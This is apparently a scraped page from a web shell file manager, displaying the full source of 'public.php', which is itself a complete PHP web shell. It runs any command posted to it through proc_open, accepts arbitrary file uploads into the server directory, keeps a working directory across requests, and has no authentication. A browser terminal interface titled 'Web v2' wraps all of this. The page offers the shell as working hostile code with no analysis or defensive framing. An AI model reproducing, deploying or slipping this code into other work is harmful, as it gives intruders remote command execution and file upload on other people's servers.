D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
var
/
www
/
html
/
rosario
/
Filename :
public.php
back
Copy
<?php session_start(); if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } function execute($cmd) { $cwd = $_SESSION['cwd']; // if (preg_match('/^\s*cd\s+(.+)$/', $cmd, $matches)) { $dir = trim($matches[1]); if ($dir === '~') { $dir = $_SERVER['HOME'] ?? '/tmp'; } if ($dir[0] === '/') { $newCwd = $dir; } else { $newCwd = $cwd . '/' . $dir; } $newCwd = realpath($newCwd); if ($newCwd && is_dir($newCwd)) { $_SESSION['cwd'] = $newCwd; return "[Directory changed to: $newCwd]\n"; } else { return "cd: $dir: No such directory\n"; } } // $fullCmd = "cd " . escapeshellarg($cwd) . " && " . $cmd . " 2>&1"; $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($fullCmd, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); return $output . $errors; } return "Error: Cannot execute command\n"; } // if (isset($_GET['upload']) && isset($_FILES['file'])) { $target = $_SESSION['cwd'] . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "OK:" . basename($_FILES['file']['name']); } else { echo "ERROR:Upload failed"; } exit; } if (isset($_POST['cmd'])) { echo execute($_POST['cmd']); exit; } if (isset($_POST['cd_path'])) { $path = $_POST['cd_path']; if (is_dir($path)) { $_SESSION['cwd'] = realpath($path); echo $_SESSION['cwd']; } else { echo "ERROR"; } exit; } if (isset($_POST['get_cwd'])) { echo $_SESSION['cwd']; exit; } ?> <!DOCTYPE html> <html> <head> <title>Web v2</title> <style> * { box-sizing: border-box; } body { background: #1e1e1e; margin: 0; padding: 20px; font-family: 'Consolas', 'Monaco', monospace; } .container { max-width: 1400px; margin: 0 auto; } .toolbar { background: #2d2d2d; padding: 10px; margin-bottom: 10px; border-radius: 5px; } .terminal { background: #0c0c0c; border: 1px solid #3c3c3c; height: 600px; overflow-y: auto; padding: 10px; color: #d4d4d4; font-size: 13px; } .terminal-line { font-family: inherit; white-space: pre-wrap; word-break: break-all; margin: 0; line-height: 1.4; } .terminal-line.prompt { color: #4ec9b0; } .terminal-line.error { color: #f48771; } .input-line { display: flex; margin-top: 10px; background: #2d2d2d; border-radius: 5px; overflow: hidden; } .prompt { background: #3c3c3c; padding: 10px; color: #4ec9b0; font-weight: bold; } #cmdInput { flex: 1; background: #1e1e1e; border: none; color: #d4d4d4; font-family: 'Consolas', monospace; font-size: 13px; padding: 10px; outline: none; } .upload-area { display: inline-block; margin-left: 20px; } .btn { background: #0e639c; border: none; color: white; padding: 5px 15px; cursor: pointer; border-radius: 3px; } .btn:hover { background: #1177bb; } .status { margin-left: 10px; color: #4ec9b0; font-size: 12px; } .breadcrumb { color: #ce9178; margin-bottom: 10px; font-size: 12px; background: #2d2d2d; padding: 8px 10px; border-radius: 5px; display: flex; align-items: center; flex-wrap: wrap; gap: 5px; } .breadcrumb-item { cursor: pointer; color: #4ec9b0; text-decoration: none; transition: color 0.2s; } .breadcrumb-item:hover { color: #6fd4b8; text-decoration: underline; } .breadcrumb-separator { color: #858585; margin: 0 2px; } .folder-icon { margin-right: 5px; } .home-btn { background: #0e639c; border: none; color: white; padding: 2px 8px; cursor: pointer; border-radius: 3px; font-size: 11px; margin-left: 10px; } .home-btn:hover { background: #1177bb; } </style> </head> <body> <div class="container"> <div class="toolbar"> <span style="color:#4ec9b0">📁</span> <div id="breadcrumb" class="breadcrumb" style="display: inline-block; margin: 0; padding: 0;"> <!-- Хлебные крошки будут здесь --> </div> <div class="upload-area" style="float:right"> <input type="file" id="uploadFile" style="display:none"> <button class="btn" onclick="document.getElementById('uploadFile').click()">📤 Upload</button> <span id="uploadStatus" class="status"></span> </div> </div> <div id="terminal" class="terminal"></div> <div class="input-line"> <div class="prompt">$></div> <input type="text" id="cmdInput" autofocus> </div> </div> <script> const terminal = document.getElementById('terminal'); const cmdInput = document.getElementById('cmdInput'); const breadcrumbDiv = document.getElementById('breadcrumb'); let currentCwd = '<?php echo $_SESSION['cwd']; ?>'; let history = []; let historyIndex = -1; function addLine(text, isError = false) { const line = document.createElement('div'); line.className = 'terminal-line' + (isError ? ' error' : ''); line.textContent = text; terminal.appendChild(line); terminal.scrollTop = terminal.scrollHeight; } function updateBreadcrumb(path) { if (!path) return; let parts = path.split('/').filter(p => p !== ''); let breadcrumbHtml = '<span class="folder-icon">📁</span>'; breadcrumbHtml += '<span class="breadcrumb-item" onclick="navigateTo(\'/\')">/</span>'; let currentPath = ''; for (let i = 0; i < parts.length; i++) { currentPath += '/' + parts[i]; breadcrumbHtml += '<span class="breadcrumb-separator">/</span>'; breadcrumbHtml += '<span class="breadcrumb-item" onclick="navigateTo(\'' + currentPath + '\')">' + escapeHtml(parts[i]) + '</span>'; } breadcrumbHtml += ' <button class="home-btn" onclick="navigateTo(\'~\')" title="Go to home directory">🏠 Home</button>'; breadcrumbHtml += ' <button class="home-btn" onclick="refreshCwd()" title="Refresh">🔄</button>'; breadcrumbDiv.innerHTML = breadcrumbHtml; } function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } function navigateTo(path) { if (path === '~') { path = '/home'; } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'cd_path=' + encodeURIComponent(path) }) .then(res => res.text()) .then(newPath => { if (newPath !== 'ERROR') { currentCwd = newPath; updateBreadcrumb(currentCwd); addLine('[Directory changed to: ' + currentCwd + ']'); // Command executeCommand('ls -la', true); } else { addLine('Error: Cannot navigate to ' + path, true); } }); } function refreshCwd() { fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'get_cwd=1' }) .then(res => res.text()) .then(pwd => { if (pwd.trim()) { currentCwd = pwd.trim(); updateBreadcrumb(currentCwd); } }); } function executeCommand(cmd, silent = false) { if (cmd.trim() === '') return; if (!silent) { addLine(currentCwd + ' $> ' + cmd); } fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'cmd=' + encodeURIComponent(cmd) }) .then(res => res.text()) .then(output => { if (output.trim()) { addLine(output); } }) .catch(err => addLine('Error: ' + err, true)); } // Upload document.getElementById('uploadFile').addEventListener('change', function(e) { const file = e.target.files[0]; if (!file) return; const formData = new FormData(); formData.append('file', file); formData.append('upload', '1'); const status = document.getElementById('uploadStatus'); status.textContent = 'Uploading...'; fetch('?upload=1', { method: 'POST', body: formData }) .then(res => res.text()) .then(data => { if (data.startsWith('OK:')) { status.textContent = '✓ ' + data.substring(3); setTimeout(() => status.textContent = '', 2000); addLine('[File uploaded: ' + data.substring(3) + ']'); // Обновляем содержимое после загрузки executeCommand('ls -la', true); } else { status.textContent = '✗ Failed'; addLine('[Upload failed]', true); } }); }); // Keyboard handling cmdInput.addEventListener('keydown', function(e) { if (e.key === 'Enter') { const cmd = cmdInput.value; if (cmd.trim()) { saveToHistory(cmd); executeCommand(cmd); } cmdInput.value = ''; historyIndex = -1; } else if (e.key === 'ArrowUp') { e.preventDefault(); if (historyIndex < history.length - 1) { historyIndex++; cmdInput.value = history[history.length - 1 - historyIndex]; } } else if (e.key === 'ArrowDown') { e.preventDefault(); if (historyIndex > 0) { historyIndex--; cmdInput.value = history[history.length - 1 - historyIndex]; } else if (historyIndex === 0) { historyIndex = -1; cmdInput.value = ''; } } }); function saveToHistory(cmd) { if (cmd.trim() && (history.length === 0 || history[history.length-1] !== cmd)) { history.push(cmd); if (history.length > 100) history.shift(); } } // updateBreadcrumb(currentCwd); addLine('=== Web Ready ==='); addLine('================================'); </script> </body> </html>